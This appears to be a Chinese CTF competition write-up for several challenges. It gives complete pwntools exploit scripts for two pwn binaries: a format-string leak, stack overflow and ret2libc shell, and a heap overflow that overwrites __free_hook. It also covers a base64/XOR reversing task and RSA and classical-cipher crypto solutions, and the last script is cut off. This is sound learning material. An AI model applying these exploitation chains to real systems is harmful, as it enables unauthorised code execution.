别问为啥是32位的,因为32位在strspy那里过不了,得用其他操作,不是我想考的点,所以这里就只有考32位了。
玩儿过Arcaea的应该都知道,这个程序大概有啥用,别的不说,先跑一下看看:
Welcome to the Arcaea Query developed by g01den, which is currently in the development stage
___
/ | ______________ ____ ____ _
/ /| | / ___/ ___/ __ `/ _ \/ __ `/
/ ___ |/ / / /__/ /_/ / __/ /_/ /
/_/ |_/_/ \___/\__,_/\___/\__,_/
If you find any questions, please do not contact g01den for resolution
I would like to know your complete PTT (Potential Value), would it be convenient for you to tell me?
这里首先是让我们输入自己的定数,之后做啥处理没静态不清楚,随便输入一个12看看:
10
Come on, the flowers are purple and about to turn red. You will step onto the ladder of the big shots
=======Please select the following options to use the relevant functions========
1. If the score is qualified, it will be stored in B30
2. Calculate single PTT
3. Calculate player PTT through b30
4. Give your favorite song a vote
5. View voted songs
6. Output all content of b30
7. Exit the system
大概有啥用应该从字面上应该能懂:
- 功能键1是算歌曲分数和单曲ptt然后加入b30,具体逻辑是否正确我不是很清楚,但测试的时候没啥太大的问题。
- 功能键2是计算单曲ptt并输出
- 功能键3是从b30 里计算出玩家ptt,不计算r10,所以只能做参考
- 功能键5是给最喜欢的谱子投票
- 功能键5是输出投的票的歌曲名字
- 功能键5是输出所有b30的内容
- 功能键7是推出这个系统
=======Please select the following options to use the relevant functions========
1. If the score is qualified, it will be stored in B30
2. Calculate single PTT
3. Calculate player PTT through b30
4. Give your favorite song a vote
5. View voted songs
6. Output all content of b30
7. Exit the system
1
Please enter the exact number of songs you want to query:11.5
Please enter your score for this spectrum:10000000
The single PTT is 13.500000, you still need to keep working hard. Even if you PM, it's the same. You can't be proud anymore
=======Please select the following options to use the relevant functions========
1. If the score is qualified, it will be stored in B30
2. Calculate single PTT
3. Calculate player PTT through b30
4. Give your favorite song a vote
5. View voted songs
6. Output all content of b30
7. Exit the system
6
rating = 13.500000,music = 11.500000
=======Please select the following options to use the relevant functions========
1. If the score is qualified, it will be stored in B30
2. Calculate single PTT
3. Calculate player PTT through b30
4. Give your favorite song a vote
5. View voted songs
6. Output all content of b30
7. Exit the system
3
Your PTT is13.500000
=======Please select the following options to use the relevant functions========
1. If the score is qualified, it will be stored in B30
2. Calculate single PTT
3. Calculate player PTT through b30
4. Give your favorite song a vote
5. View voted songs
6. Output all content of b30
7. Exit the system
3
Your PTT is13.500000
=======Please select the following options to use the relevant functions========
1. If the score is qualified, it will be stored in B30
2. Calculate single PTT
3. Calculate player PTT through b30
4. Give your favorite song a vote
5. View voted songs
6. Output all content of b30
7. Exit the system
1
Please enter the exact number of songs you want to query:11.3
Please enter your score for this spectrum:10000000
The single PTT is 13.300000, you still need to keep working hard. Even if you PM, it's the same. You can't be proud anymore
=======Please select the following options to use the relevant functions========
1. If the score is qualified, it will be stored in B30
2. Calculate single PTT
3. Calculate player PTT through b30
4. Give your favorite song a vote
5. View voted songs
6. Output all content of b30
7. Exit the system
1
Please enter the exact number of songs you want to query:11.2
Please enter your score for this spectrum:10000000
The single PTT is 13.200000, you still need to keep working hard. Even if you PM, it's the same. You can't be proud anymore
=======Please select the following options to use the relevant functions========
1. If the score is qualified, it will be stored in B30
2. Calculate single PTT
3. Calculate player PTT through b30
4. Give your favorite song a vote
5. View voted songs
6. Output all content of b30
7. Exit the system
3
Your PTT is13.333333
=======Please select the following options to use the relevant functions========
1. If the score is qualified, it will be stored in B30
2. Calculate single PTT
3. Calculate player PTT through b30
4. Give your favorite song a vote
5. View voted songs
6. Output all content of b30
7. Exit the system
3
Your PTT is13.333333
=======Please select the following options to use the relevant functions========
1. If the score is qualified, it will be stored in B30
2. Calculate single PTT
3. Calculate player PTT through b30
4. Give your favorite song a vote
5. View voted songs
6. Output all content of b30
7. Exit the system
3
Your PTT is13.333333
=======Please select the following options to use the relevant functions========
1. If the score is qualified, it will be stored in B30
2. Calculate single PTT
3. Calculate player PTT through b30
4. Give your favorite song a vote
5. View voted songs
6. Output all content of b30
7. Exit the system
6
rating = 13.200000,music = 11.200000
rating = 13.300000,music = 11.300000
rating = 13.500000,music = 11.500000
似乎没啥问题。再看看4、5两个功能:
=======Please select the following options to use the relevant functions========
1. If the score is qualified, it will be stored in B30
2. Calculate single PTT
3. Calculate player PTT through b30
4. Give your favorite song a vote
5. View voted songs
6. Output all content of b30
7. Exit the system
4
You can vote for what you like. You can input the name of your favorite song and cast your valuable vote
You can vote 3 times, you can vote other songs, and you can't vote for the same song again. There won't be any problems if you vote, anyway, it's useless to vote (=_=!!!)testify
Your vote was for testify
. Thank you for your affirmation of this spectrum, and I hope you can score smoothly
=======Please select the following options to use the relevant functions========
1. If the score is qualified, it will be stored in B30
2. Calculate single PTT
3. Calculate player PTT through b30
4. Give your favorite song a vote
5. View voted songs
6. Output all content of b30
7. Exit the system
5
The name of the song you voted for is:
testify
这里,总的能输入字符的感觉只有4,其他的只有数字。
上IDA:
int __cdecl main(int argc, const char **argv, const char **envp)
{
long double v3; // fst7
int v5; // [esp-Ah] [ebp-20h]
int v6; // [esp-6h] [ebp-1Ch]
__int16 v7; // [esp+0h] [ebp-16h] BYREF
__int16 *v8; // [esp+2h] [ebp-14h] BYREF
void *v9; // [esp+6h] [ebp-10h]
int v10; // [esp+Ah] [ebp-Ch]
int *p_argc; // [esp+Eh] [ebp-8h]
p_argc = &argc;
v10 = 0;
v9 = malloc(0xCu);
init();
hello();
*((_DWORD *)v9 + 2) = 0;
printf("I would like to know your complete PTT (Potential Value), would it be convenient for you to tell me?");
fflush(stdin);
__isoc99_scanf("%f", &v8, v5, v6);
compare(*(float *)&v8);
do
{
puts("=======Please select the following options to use the relevant functions========");
puts("1. If the score is qualified, it will be stored in B30");
puts("2. Calculate single PTT");
puts("3. Calculate player PTT through b30");
puts("4. Give your favorite song a vote");
puts("5. View voted songs");
puts("6. Output all content of b30");
puts("7. Exit the system");
fflush(stdin);
v8 = &v7;
((void (__stdcall *)(const char *))__isoc99_scanf)("%d");
switch ( v7 )
{
case 1:
setB30(v9);
break;
case 2:
calculateMusic(v9, 0);
break;
case 3:
v3 = pttCalculate(v9);
printf("Your PTT is%f\n", (double)v3);
break;
case 4:
vote();
break;
case 5:
output_vote(p_argc);
break;
case 6:
test(v9);
break;
case 7:
v10 = 1;
break;
default:
break;
}
}
while ( v10 != 1 );
puts("Exit the program");
freeNode(v9);
puts("Exit successful");
puts("Thank you for using this scoring system");
puts("See you");
return 0;
}
找了一圈,最后在output_vote函数里找到了一个printf(dest):
int output_vote()
{
char dest[68]; // [esp+0h] [ebp-48h] BYREF
if ( !votes )
return puts("You haven't voted yet\n");
puts("The name of the song you voted for is:");
strcpy(dest, name);
return printf(dest);
}
这个可以用来泄露main的地址,绕过PIE,关键是strcpy,存在name这个变量,但是上面没定义,因为在bss段上,根据这个变量,看看哪里调用了它,最后在vote里调用了两次:
int vote()
{
if ( votes > 2 )
{
puts("You have already cast 3 times, you cannot cast anymore");
return puts("If you still want to vote, I suggest restarting this system, as it doesn't have a memory function anyway ");
}
else
{
puts("You can vote for what you like. You can input the name of your favorite song and cast your valuable vote");
printf(
"You can vote 3 times, you can vote other songs, and you can't vote for the same song again. There won't be any pr"
"oblems if you vote, anyway, it's useless to vote (=_=!!!)");
fflush(stdin);
read(0, &name, 0x60u);
fflush(stdin);
printf(
"Your vote was for %s. Thank you for your affirmation of this spectrum, and I hope you can score smoothly\n",
&name);
return ++votes;
}
}
这里有个read:
read(0, &name, 0x60u);
回去一下,output_vote函数中,将name变量塞进了dest里,但dest似乎不够大,存在栈溢出,但gdb调一下之后,发现其实长度不是特别大,不够ROP(可能稍微大了,不过懒得改了),这里就可以打栈迁移了,随意,不过,预期解是libc,常规libc,因为多找找,能找到这个函数:
ssize_t evaluate()
{
int v1; // [esp-8h] [ebp-150h]
int v2; // [esp-4h] [ebp-14Ch]
size_t nbytes; // [esp+Ch] [ebp-13Ch] BYREF
char v4[256]; // [esp+10h] [ebp-138h] BYREF
char buf[52]; // [esp+110h] [ebp-38h] BYREF
puts("You cannot call this function unless you have authorization");
puts("So?How are you?");
read(0, buf, 0x30u);
if ( strcmp(buf, "g01den") )
{
puts("NO,you can't do it");
exit(0);
}
puts("OK,Only I can give myself advice");
puts("plz input the count of your advice");
fflush(stdin);
__isoc99_scanf("%d", &nbytes, v1, v2);
if ( (int)nbytes > 256 )
{
puts("No ,don't hack");
exit(0);
}
fflush(stdin);
return read(0, v4, nbytes);
}
这个函数是我预留的一个后门算是后门吧,想办法劫持数据流过来吧,不过得先泄露main。
main的某个偏移是%23$p
,这里泄露出来的是这个地址:
.text:0000146A call output_vote ; jumptable 00001414 case 5
.text:0000146F jmp short _L3 ; jumptable 00001414 default case, case 0
之后真实地址减去偏移得到了elf的基地址,之后就可以拿到evaluate的地址和其他plt和got表的地址,之后就常规的libc3了。泄露puts真实地址,然后获得libc_base地址,之后拿binsh和system。
exp:
from pwn import *
#from LibcSearcher import *
#context.terminal = ["tmux", "splitw", "-h"]
Locale = 1
if Locale == 1:
io = process('./pwn')
else:
io = remote("154.64.254.169",33185)
elf = ELF("./pwn")
libc = ELF("./libc.so.6")
# context(arch='amd64', os='linux', log_level='debug')
def exp():
io.recvuntil(b"I would like to know your complete PTT (Potential Value), would it be convenient for you to tell me?")
io.sendline(b"11.0")
io.recvuntil(b"7. Exit the system\n")
io.sendline(b"4")
io.recvuntil(b"problems if you vote, anyway, it's useless to vote (=_=!!!)")
io.sendline(b"AAAAAAAA%23$p")
io.recvuntil(b"7. Exit the system")
io.sendline(b"5")
io.recvuntil(b"AAAAAAAA")
main_146F = io.recv(10)
main_addr = hex(int(main_146F,16) - 456)
log.success("main_146F = " + str(main_146F.decode()))
log.success("main_addr = " + str(main_addr))
offset = 0x4c
io.recvuntil(b"7. Exit the system\n")
io.sendline(b"4")
io.recvuntil(b"problems if you vote, anyway, it's useless to vote (=_=!!!)")
main_addr = int(main_addr,16)
backdoor = main_addr + 0x1DDE - 0x12A7
payload = b"a" * offset + p32(backdoor)
io.sendline(payload)
io.recvuntil(b"7. Exit the system\n")
io.sendline(b"5")
io.recvuntil(b"So?How are you?")
io.sendline(b"g01den\x00")
io.recvuntil(b"plz input the count of your advice\n")
io.sendline(b"-1")
base = main_addr - elf.symbols["main"]
puts_plt = base + elf.symbols["puts"]
puts_got = base + elf.got["puts"]
log.success("main_add = " + str(hex(main_addr)))
log.success("puts_plt = " + str(hex(puts_plt)))
log.success("elf_base = " + str(hex(base)))
log.success("puts_got = " + str(hex(puts_got)))
offset = 0x13c
ret = base + 0x100e
# gdb.attach(io)
# pause()
global_offset_table_addr = base + 0x5000#0x4fa0
log.success("global_offset_table_addr = " + str(hex(global_offset_table_addr)))
payload1 = (offset -8) * b"a" + p32(global_offset_table_addr) + p32(global_offset_table_addr) + p32(ret) + p32(puts_plt) + p32(backdoor) + p32(puts_got)
# payload1 = offset * b"a" + p32(ret) + p32(main_addr)
# payload1 = offset * b"a" + p32(ret) + p32(main_addr)
io.sendline(payload1)
puts_addr = u32(io.recv(4))
log.success("puts_addr = " + str(hex(puts_addr)))
libc_base = puts_addr - libc.symbols["puts"]
log.success("libc_base = " + str(hex(libc_base)))
system_addr = libc_base + libc.symbols["system"]
log.success("system_addr = " + str(hex(system_addr)))
io.recvuntil(b"So?How are you?\n")
io.sendline(b"g01den\x00")
io.recvuntil(b"plz input the count of your advice\n")
io.sendline(b"-1")
binsh_addr = libc_base + next(libc.search("/bin/sh"))
print(hex(binsh_addr))
log.success("binsh_addr = " + str(hex(binsh_addr)))
payload2 = (offset -8) * b"a" + p32(global_offset_table_addr) + p32(global_offset_table_addr) + p32(ret)
payload2 += p32(system_addr) + p32(binsh_addr) + p32(binsh_addr) + p32(binsh_addr)
gdb.attach(io)
pause()
io.sendline(payload2)
exp()
io.interactive()
这里payload2的p32(global_offset_table_addr) + p32(global_offset_table_addr)
有点儿问题,不是我的exp的问题,是我最开始本地调题目的时候出现的问题,我发现它这里如果不泄露这个地址的话就打不通,但为啥现在不需要这个都能出,有点过于随缘了,如果不加上这个地址不通的话, 那就考虑gdb调一下看看是否这里缺失了什么,或者寄存器之类的问题(补充,这里出现问题是因为再call puts的plt的时候,出现了问题,有个存在ebp-4的地址给mov到了ebx寄存器中,同时,存在jmp ebp+XX相关代码,动调的时候,发现报错地址是aaaa,所以改成p32(global_offset_table_addr) + p32(global_offset_table_addr)
就能打通)。
Arcaea_Sorting_Revenge:
似乎出了个板子题,不过,我也算是尽力了吧,堆这玩意儿是真的难。
程序做了个简单的存储功能,arcaea存储分数并输出的功能,删除功能里会将bss段里的当前指针置零,但是歌曲信息那个chunk里面,指向description的指针没有置零,edit修改了输入的长度,但是没有重新malloc新的空间,没有检测大小,存在堆溢出,增加功能里一次malloc了两次chunk,第二次可以控制大小。
首先增加三次书,每次都是,控制size大小为0x91,保证chunk在被free的时候能进unsortedbin,free掉编号为1的这个音乐,然后重新建一个歌曲,为了让chunk里有unsortedbin里的数据,也就是fd或者bk指针,因为unsortedbin目前只有一个chunk,所以fd,bk指针均指向main_arena,可以用来leak掉libc地址,重新add了一个之后,编号依旧为1,然后写入的content为八个字节,不要写入其他内容,之后show可以leak出libc地址,之后为了leak堆的地址,我free了两次,但是实际上并不需要这么做,之后就是利用edit的溢出功能,在堆上修改chunk,达成伪造,伪造指针,指向任意地址,这里指向__free_hook
,然后edit修改__free_hook
为one_gadget
的地址,然后进行getshell。
算是个比较板子的堆题吧。
from pwn import *
io = process("./pwn")
# io = remote("154.64.254.169",33215)
libc = ELF("./libc.so.6")
def add(name,rating,score,descSize,desc):
io.sendlineafter(b">>",b"1")
io.sendlineafter(b"plz input music's name:",name)
io.sendlineafter(b"plz input music's rating:",str(rating))
io.sendlineafter(b"plz input music's score:",str(score))
io.sendlineafter(b"plz input descript's max size:",str(descSize))
io.sendlineafter(b"plz input music's descript:",desc)
def free(idx):
io.sendlineafter(b">>",b"2")
io.sendlineafter(b"plz input index you want to delete(index from 0) :",str(idx))
def edit(idx,descSize,desc):
io.sendlineafter(b">>",b"3")
io.sendlineafter(b"plz input index you want to delete(index from 0) :",str(idx))
io.sendlineafter(b"plz input max size you want to change to:",str(descSize))
io.sendafter(b"plz input description:",desc)
def show():
io.sendlineafter(b">>",b"4")
io.recvuntil(b"plz enter your username:")
io.sendline(b"g01den")
add(b"testify",12,10002221,128,b"hardhard")
add(b"bbbb",12,10002221,128,b"what")
add(b"cccc",12,10002221,128,b"nani")
free(1)
log.info("######################leaking libc address########################3")
io.sendlineafter(b">>",b"1")
io.sendlineafter(b"plz input music's name:",b"dddd")
io.sendlineafter(b"plz input music's rating:",str(12))
io.sendlineafter(b"plz input music's score:",str(10002221))
io.sendlineafter(b"plz input descript's max size:",str(128))
io.sendafter(b"plz input music's descript:",b"dddddddd")
show()
io.recvuntil(b"dddddddd")
# main_arena = u64(io.recvuntil(b"\x7f")[:-6].ljust(8,b"\x00"))
# main_arena = u64(io.recvuntil(b"\x7f").ljust(8,b"\x00"))
main_arena = u64(io.recv(6).ljust(8,b"\x00"))
log.success("main_arena => " + str(hex(main_arena)))
libc_base = main_arena - 0x3c4b78
log.success("libc_base => " + str(hex(libc_base)))
gdb.attach(io)
pause()
add(b"eeee",12,10002221,128,b"eeeeeeee")
free(1)
free(2)
log.info("######################leaking chunk6 address########################3")
io.sendlineafter(b">>",b"1")
io.sendlineafter(b"plz input music's name:",b"ffff")
io.sendlineafter(b"plz input music's rating:",str(12))
io.sendlineafter(b"plz input music's score:",str(10002221))
io.sendlineafter(b"plz input descript's max size:",str(128))
io.sendafter(b"plz input music's descript:",b"ffffffff")
show()
io.recvuntil(b"ffffffff")
chunk = u64(io.recv(6).ljust(8,b"\x00"))
chunk_basee = chunk - 0x210
print(hex(chunk))
log.success("chunk_basee => " + str(hex(chunk_basee)))
free_hook = libc_base + libc.sym["__free_hook"]
target_chunk = chunk_basee + 0x210
payload = b"a" * 0x80 + p64(0x90) + p64(0x51) + b"b" * 0x30 + p64(1) + p64(10002221) + p64(free_hook)
edit(1,0x200,payload)
one_gadget = libc_base + 0x4527a
edit(1,0x100,p64(one_gadget))
free(0)
io.interactive()
注:别问为啥没有剩下两个pwn题的wp,因为我也不会,并且短时间内学不会
Re:
babyre:
无壳。
// positive sp value has been detected, the output may be wrong!
void __fastcall __noreturn start(__int64 a1, __int64 a2, void (*a3)(void))
{
__int64 v3; // rax
int v4; // esi
__int64 v5; // [rsp-8h] [rbp-8h] BYREF
char *retaddr; // [rsp+0h] [rbp+0h] BYREF
v4 = v5;
v5 = v3;
_libc_start_main(main, v4, &retaddr, 0LL, 0LL, a3, &v5);
__halt();
}
是Linux编译的,进main里看看
__int64 __fastcall main(int a1, char **a2, char **a3)
{
__int64 v3; // rdx
__int64 v4; // rdx
_BYTE v6[32]; // [rsp+0h] [rbp-A0h] BYREF
_BYTE v7[32]; // [rsp+20h] [rbp-80h] BYREF
_BYTE v8[32]; // [rsp+40h] [rbp-60h] BYREF
_BYTE v9[40]; // [rsp+60h] [rbp-40h] BYREF
unsigned __int64 v10; // [rsp+88h] [rbp-18h]
v10 = __readfsqword(0x28u);
std::string::basic_string(v6, a2, a3);
std::string::basic_string(v7, a2, v3);
std::string::basic_string(v8, a2, v4);
std::operator<<<std::char_traits<char>>(&std::cout, &unk_21AD);
std::operator>><char>(&std::cin, v6);
sub_147E();
sub_1558();
sub_13A9(v8, v6);
std::string::operator=(v7, v6);
std::string::basic_string(v9, v6);
sub_1920(v9, v7);
std::string::~string(v9);
std::string::basic_string(v9, v7);
sub_17A7(v9);
std::string::~string(v9);
std::string::~string(v8);
std::string::~string(v7);
std::string::~string(v6);
return 0LL;
}
C++逆向,代码不复杂,Shift+F12找关键字符串,找到了这个:
.rodata:00000000000021BF aWrongValue db 'Wrong Value',0 ; DATA XREF: sub_17A7+110↑o
.rodata:00000000000021CB aCurruntValue db 'Currunt Value',0 ; DATA XREF: sub_17A7+149↑o
跟踪一下,这个函数调用了:
unsigned __int64 __fastcall sub_17A7(__int64 a1)
{
int v2; // [rsp+10h] [rbp-1B0h]
int i; // [rsp+14h] [rbp-1ACh]
int j; // [rsp+18h] [rbp-1A8h]
int v5; // [rsp+1Ch] [rbp-1A4h]
_DWORD v6[102]; // [rsp+20h] [rbp-1A0h] BYREF
unsigned __int64 v7; // [rsp+1B8h] [rbp-8h]
v7 = __readfsqword(0x28u);
v5 = std::string::length(a1);
memset(v6, 0, 0x190uLL);
v2 = 0;
for ( i = 0; i < v5; ++i )
v6[i] = *(char *)std::string::operator[](a1, i) ^ (i / 3);
for ( j = 0; j < v5; ++j )
{
if ( v6[j] != dword_4020[j] )
{
v2 = 1;
std::operator<<<std::char_traits<char>>(&std::cout, "Wrong Value");
break;
}
}
if ( !v2 )
std::operator<<<std::char_traits<char>>(&std::cout, "Currunt Value");
return v7 - __readfsqword(0x28u);
}
这里有个异或运算,逐个比较,推测这里就是目的函数,返回main函数,传参是v9,盯着v9,从下往上看,找到门路:
unsigned __int64 __fastcall sub_1920(__int64 a1, __int64 a2)
{
__int64 v2; // rdx
_BYTE *v3; // rax
int i; // [rsp+10h] [rbp-A0h]
int v6; // [rsp+14h] [rbp-9Ch]
int j; // [rsp+18h] [rbp-98h]
int v8; // [rsp+1Ch] [rbp-94h]
_WORD *v9; // [rsp+20h] [rbp-90h]
unsigned __int64 v10; // [rsp+28h] [rbp-88h]
_BYTE v11[44]; // [rsp+30h] [rbp-80h] BYREF
int v12; // [rsp+5Ch] [rbp-54h]
_QWORD v13[6]; // [rsp+60h] [rbp-50h] BYREF
__int16 v14; // [rsp+90h] [rbp-20h]
unsigned __int64 v15; // [rsp+98h] [rbp-18h]
v15 = __readfsqword(0x28u);
memset(v13, 0, sizeof(v13));
v14 = 0;
for ( i = 0; i <= 63; ++i )
*((_BYTE *)v13 + i) = dword_2040[i];
v10 = std::string::size(a1);
v9 = (_WORD *)std::string::data(a1);
std::string::basic_string(v11, a2, v2);
v12 = 0;
v6 = 0;
for ( j = 0; j < (int)(v10 / 3); ++j )
{
*(_WORD *)((char *)&v12 + 1) = *v9;
v3 = v9 + 1;
v9 = (_WORD *)((char *)v9 + 3);
HIBYTE(v12) = *v3;
std::string::operator+=(v11, (unsigned int)*((char *)v13 + (BYTE1(v12) >> 2)));
std::string::operator+=(
v11,
(unsigned int)*((char *)v13 + (((unsigned __int8)(16 * BYTE1(v12)) | (BYTE2(v12) >> 4)) & 0x3F)));
std::string::operator+=(
v11,
(unsigned int)*((char *)v13 + (((unsigned __int8)(4 * BYTE2(v12)) | (HIBYTE(v12) >> 6)) & 0x3F)));
std::string::operator+=(v11, (unsigned int)*((char *)v13 + (HIBYTE(v12) & 0x3F)));
v6 += 4;
if ( v6 == 76 )
{
std::string::operator+=(v11, "\r\n");
v6 = 0;
}
}
v8 = v10 % 3;
if ( v8 == 1 )
{
BYTE1(v12) = *(_BYTE *)v9;
std::string::operator+=(v11, (unsigned int)*((char *)v13 + (BYTE1(v12) >> 2)));
std::string::operator+=(v11, (unsigned int)*((char *)v13 + ((16 * BYTE1(v12)) & 0x30)));
std::string::operator+=(v11, "==");
}
else if ( v8 == 2 )
{
*(_WORD *)((char *)&v12 + 1) = *v9;
std::string::operator+=(v11, (unsigned int)*((char *)v13 + (BYTE1(v12) >> 2)));
std::string::operator+=(
v11,
(unsigned int)*((char *)v13 + ((16 * BYTE1(v12)) & 0x30 | (unsigned int)(BYTE2(v12) >> 4))));
std::string::operator+=(v11, (unsigned int)*((char *)v13 + ((4 * BYTE2(v12)) & 0x3C)));
std::string::operator+=(v11, "=");
}
std::string::operator=(a2, v11);
std::string::~string();
return v15 - __readfsqword(0x28u);
}
这里就是典型的算法识别,实现的是一个base64加密,再就是这个函数,对v6进行了处理(我们输入的flag就是这个):
unsigned __int64 __fastcall sub_13A9(__int64 a1, __int64 a2)
{
char v2; // bl
char v3; // bl
__int64 v5; // [rsp+18h] [rbp-38h] BYREF
__int64 v6; // [rsp+20h] [rbp-30h] BYREF
unsigned __int64 i; // [rsp+28h] [rbp-28h]
unsigned __int64 v8; // [rsp+30h] [rbp-20h]
unsigned __int64 v9; // [rsp+38h] [rbp-18h]
v9 = __readfsqword(0x28u);
v6 = std::string::length(a2);
v5 = std::string::length(a1);
v8 = *(_QWORD *)sub_1DC2(&v5, &v6);
for ( i = 0LL; i < v8; ++i )
{
v2 = *(_BYTE *)std::string::operator[](a1, i);
v3 = *(_BYTE *)std::string::operator[](a2, i) ^ v2;
*(_BYTE *)std::string::operator[](a1, i) = v3;
}
return v9 - __readfsqword(0x28u);
}
不过这个函数显而易见是用来干扰人的,这里对字符串异或之后存放的是第一个字符串地址,但flag是第二个参数,所以程序分析完了,其他的都不咋有用了,之后就是直接找数据,在最后那个异或函数里面存在一个数组dword_4020[j],没有在函数中定义过,所以直接推测在全局变量里,双击跟进找到了,在bss段上:
.data:0000000000004020 ; _DWORD dword_4020[64]
.data:0000000000004020 dword_4020 dd 81, 67, 84, 67, 85, 66, 90, 118, 79, 70, 72, 115, 92
.data:0000000000004020 ; DATA XREF: sub_17A7+F8↑o
.data:0000000000004054 dd 70, 125, 107, 78, 80, 85, 104, 81, 85, 125, 62, 69
.data:0000000000004084 dd 93, 67, 103, 69, 62, 59, 61, 71, 73, 83, 32, 84, 89
.data:00000000000040B8 dd 67, 96, 64, 95, 73, 126, 69, 56, 117, 56, 71, 124, 37
.data:00000000000040EC dd 41, 90, 125, 89, 99, 95, 70, 87, 56, 95, 66, 121, 40
提取数据,然后写个脚本,根据异或算法写:
for ( i = 0; i < v5; ++i )
v6[i] = *(char *)std::string::operator[](a1, i) ^ (i / 3);
exp为:
#include <iostream>
void compare(unsigned int flag[]);
unsigned int target[] = {81,67,84,67,85,66,90,118,79,70,72,115,92,70,125,107,78,80,85,104,81,85,125,62,69,93,67,103,69,62,59,61,71,73,83,32,84,89,67,96,64,95,73,126,69,56,117,56,71,124,37,41,90,125,89,99,95,70,87,56,95,66,121,40};
int main(){
compare(target);
return 0;
}
void compare(unsigned int flag[]){
int len = 64;
char f[100] = {0};
for (int i = 0; i < len; ++i){
f[i] = flag[i] ^ i / 3;
}
for (int i = 0;i < len; ++i ){
std::cout << f[i];
}
}
//QCTBTCXtMEKpXBynKUSnWRz9MUKnL717MBX+XUOmMRGpK7z7Wl58KlKqMUD+KVm=
之后就是base64解密,不过这里出现了问题,base64直接解密后发现有不可显示字符,并且再在之前没有任何关于操作flag的内容,并且flag应该是全是可显示的HECTF{}
包起来的,所以应该是base64变表,找表。
在之前的base64加密的那个函数里有个数组dword_2040[i]
,跟进看看:
.rodata:0000000000002040 ; _DWORD dword_2040[64]
.rodata:0000000000002040 dword_2040 dd 121, 122, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75
.rodata:0000000000002040 ; DATA XREF: sub_1920+7F↑o
.rodata:0000000000002074 dd 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88
.rodata:00000000000020A8 dd 89, 90, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 43
.rodata:00000000000020DC dd 47, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107
.rodata:000000000000210C dd 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118
.rodata:0000000000002138 dd 119, 120
提取出来输出出来是:yzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/abcdefghijklmnopqrstuvwx
所以,这个就是变了之后的表,拿着这个去解密,成功得到flag:
HECTF{8c7d051e5a0e9c567c86fed492720cc8d3389af1}
Crypto:
迷茫的艾米莉
Y2w9Iobe_v_Ufbm0ajI05bfzvTP1b_c}{lr
key: 6
YIUIT{P0fo2bb51lbbmew_0f_rczav9_jv}
Rail Fence Cipher Encode, 1 more - CyberChef
key: responsibility
HECTF{C0ng2at51ations_0n_comin9_in}
维吉尼亚密码在线加密解密 - 千千秀字 (qqxiuzi.cn)
seven more
e和phi不互素的情况下和欧拉值也不互素 甚至现在e和q也不互素了
与传统amm不同的是 还要求出所有的mq7
以下是解密脚本
from Crypto.Util.number import *
from gmpy2 import *
import random
import math
n = 211174039496861685759253930135194075344490160159278597570478160714793843648384778026214533259531963057737358092962077790023796805017455012885781079402008604439036453706912819711606916173828620000813663524065796636039272173716362247511054616756763830945978879273812551204996912252317081836281439680223663883250992957309172746671265758427396929152878633033380299036765665530677963287445843653357154379447802151146728382517702550201
c = 191928992610587693825282781627928404831411364407297375816921425636703444790996279718679090695773598752804431891678976685083991392082287393228730341768083530729456781668626228660243400914135691435374881498580469432290771039798758412160073826112909167507868640830965603769520664582121780979767127925146139051005022993085473836213944491149411881673257628267851773377966008999511673741955131386600993547529438576918914852633139878066
e = 1009*7
p = 31160882390461311665815471693453819123352546432384109928704874241292707178454748381602275005604671000436222741183159072136366212086549437801626015758789167455043851748560416003501637268653712148286072544482747238223
q = 6776895366785389188349778634427547683984792095011326393872759455291221057085426285502176493658280343252730331506803173791893339840460125807960788857396637337440004750209164671124188980183308151635629356496128717687
def onemod(e, q):
p = random.randint(1, q-1)
while(powmod(p, (q-1)//e, q) == 1): # (r,s)=1
p = random.randint(1, q)
return p
def AMM_rth(o, r, q): # r|(q-1
assert((q-1) % r == 0)
p = onemod(r, q)
t = 0
s = q-1
while(s % r == 0):
s = s//r
t += 1
k = 1
while((s*k+1) % r != 0):
k += 1
alp = (s*k+1)//r
a = powmod(p, r**(t-1)*s, q)
b = powmod(o, r*a-1, q)
c = powmod(p, s, q)
h = 1
for i in range(1, t-1):
d = powmod(int(b), r**(t-1-i), q)
if d == 1:
j = 0
else:
j = (-math.log(d, a)) % r
b = (b*(c**(r*j))) % q
h = (h*c**j) % q
c = (c*r) % q
result = (powmod(o, alp, q)*h)
return result
def AMM_Solution(m, q, rt, cq, e):
mp = []
for pr in rt:
r = (pr*m) % q
# assert(pow(r, e, q) == cq)
mp.append(r)
return mp
def check(m):
try:
a = long_to_bytes(m)
if b'HECTF' in a:
print(a)
return True
else:
return False
except:
return False
def CHECK2(mp, mq, e, p, q):
i = 1
j = 1
t1 = invert(q, p)
t2 = invert(p, q)
for mp1 in mp:
for mq1 in mq:
j += 1
if j % 100000 == 0:
print(j)
ans = (mp1*t1*q+mq1*t2*p) % (p*q)
if check(ans):
return
return
def AMM_ROOT(r, q):
li = set()
while(len(li) < r):
p = powmod(random.randint(1, q-1), (q-1)//r, q)
li.add(p)
return li
cp = c % p
cq = c % q
mp = AMM_rth(cp, e, p)
mq = AMM_rth(cq, 1009, q)
rt1 = AMM_ROOT(e, p)
rt2 = AMM_ROOT(1009, q)
ammp = AMM_Solution(mp, p, rt1, cp, e)
ammq = AMM_Solution(mq, q, rt2, cq, 1009)
d = invert(7, q-1)
mqs = []
for mq in ammq:
mqs.append(pow(mq, d, q))
ammq = mqs
CHECK2(ammp, ammq, e, p, q)
##HECTF{go0d_jOb_At_AmM}
翻一翻:
爆破思路类似 RSA parity oracle。p,q 是 bit 翻转关系, 已知 p 最低的 k 位,则已知 q
最高的 k 位。假设已知 k 位的 p,q ,记为 ph,qh,利用不等式
ph ·qh.21024-2k <=n<(ph+1) ·(qh+ 1).21024-2k
逐位向低地址爆破,不断收缩不等式的范围,最终可求得 p,q的值
n = 404647938065363927581436797059920217726808592032894907516792959730610309231807721432452916075249512425255272010683662156287639951458857927130814934886426437345595825614662468173297926187946521587383884561536234303887166938763945988155320294755695229129209227291017751192918550531251138235455644646249817136993
def t(a, b, k):
if k == 77:
if a*b == n:
print(a, b)
return
for i in range(10):
for j in range(10):
a1 = a + i*(10**k) + j*(10**(154-k))
b1 = b + j*(10**k) + i*(10**(154-k))
if a1*b1 > n:
continue
if (a1+(10**(154-k)))*(b1+(10**(154-k))) < n:
continue
if ((a1*b1)%(10**(k+1))) != (n%(10**(k+1))):
continue
